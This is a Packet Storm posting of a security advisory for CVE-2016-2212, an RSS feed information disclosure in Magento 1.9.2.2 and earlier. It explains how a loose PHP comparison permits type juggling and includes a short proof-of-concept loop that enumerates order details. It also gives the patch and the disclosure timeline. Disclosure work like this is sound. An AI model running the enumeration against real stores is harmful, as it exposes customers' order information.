exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Magento 1.9.2.2 RSS Feed Information Disclosure

Magento 1.9.2.2 RSS Feed Information Disclosure
Posted Feb 25, 2016
Authored by EgiX

Magento versions 1.9.2.2 and below suffer from an information disclosure vulnerability in their RSS feed.

tags | exploit, info disclosure
advisories | CVE-2016-2212
SHA-256 | 01b433ea9ea8a8bfd60a02085deff0d6671bc1935cc0aafe2a78128162522f37

Magento 1.9.2.2 RSS Feed Information Disclosure

Change Mirror Download
------------------------------------------------------------------
Magento <= 1.9.2.2 (RSS Feed) Information Disclosure Vulnerability
------------------------------------------------------------------


[-] Software Link:

http://magento.com/


[-] Affected Versions:

Version 1.9.2.2 and prior versions.


[-] Vulnerability Description:

The vulnerability is located in the /app/code/core/Mage/Rss/Helper/Order.php script,
specifically into the getOrderByStatusUrlKey method of the Mage_Rss_Helper_Order
class, which is the method being called when dispatching RSS feed requests:

83. public function getOrderByStatusUrlKey($key)
84. {
85. $data = json_decode(base64_decode($key), true);
86. if (!is_array($data) || !isset($data['order_id']) || !isset($data['increment_id'])
87. || !isset($data['customer_id'])
88. ) {
89. return null;
90. }
91.
92. /** @var $order Mage_Sales_Model_Order */
93. $order = Mage::getModel('sales/order')->load($data['order_id']);
94. if ($order->getId()
95. && $order->getIncrementId() == $data['increment_id']
96. && $order->getCustomerId() == $data['customer_id']
97. ) {
98. return $order;
99. }
100.
101. return null;
102. }

User input passed through the "data" request parameter is being base64-decoded and then JSON-decoded
at line 85, and its "increment_id" and "customer_id" parameters are used to match the same values of
the order object retrieved at line 93. After that, if everything is matched correctly, then the $order
object will be returned by the getOrderByStatusUrlKey method for displaying within the RSS feed as XML
data. The vulnerability exists because of an unsafe way of comparing those parameters, due to comparison
operator == is being used instead of === within the "if" statement at lines 95-96. The latter operator
returns "true" only if the compared values are equal and the same type, while the first compare the values
after "type juggling". Because of this behavior, an attacker might be able to download order comments and
other order-related information by using a PHP script like the following, which will try to enumerate the
details of the first 100 orders:

for ($i = 1; $i <= 100; $i++)
{
print "[-] Retrieving order ID $i\n";

$data = array('order_id' => $i, 'increment_id' => true, 'customer_id' => true)
$data = base64_encode(json_encode($data));
$_xml = http_get("http://[HOST]/magento/index.php/rss/order/status?data={$data}");

print parse_magento_rss_order($_xml);
}


[-] Solution:

Update to a fixed version or apply the SUPEE-7405 patch bundle:
https://magento.com/security/patches/supee-7405


[-] Disclosure Timeline:

[29/10/2015] - Vendor notified
[29/10/2015] - Vendor response stating: "Thank you for your submission. We have logged ticket APPSEC-1171
to track this issue. We will reach out to you once our security engineers have validated this issue."
[20/01/2016] - Version 1.9.2.3 released along with the patch for this vulnerability
[20/01/2016] - CVE number requested
[01/02/2016] - Vendor response stating: "Congratulations! Your vulnerability report and POC (APPSEC-1171
Information Disclosure in RSS feed) have been accepted and you will be receiving a bounty of USD $9,000."
[02/02/2016] - CVE number assigned
[12/02/2016] - Bug bounty received
[23/02/2016] - Public disclosure


[-] CVE Reference:

The Common Vulnerabilities and Exposures project (cve.mitre.org)
has assigned the name CVE-2016-2212 to this vulnerability.


[-] Credits:

Vulnerability discovered by Egidio Romano.


[-] Original Advisory:

http://karmainsecurity.com/KIS-2016-02
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close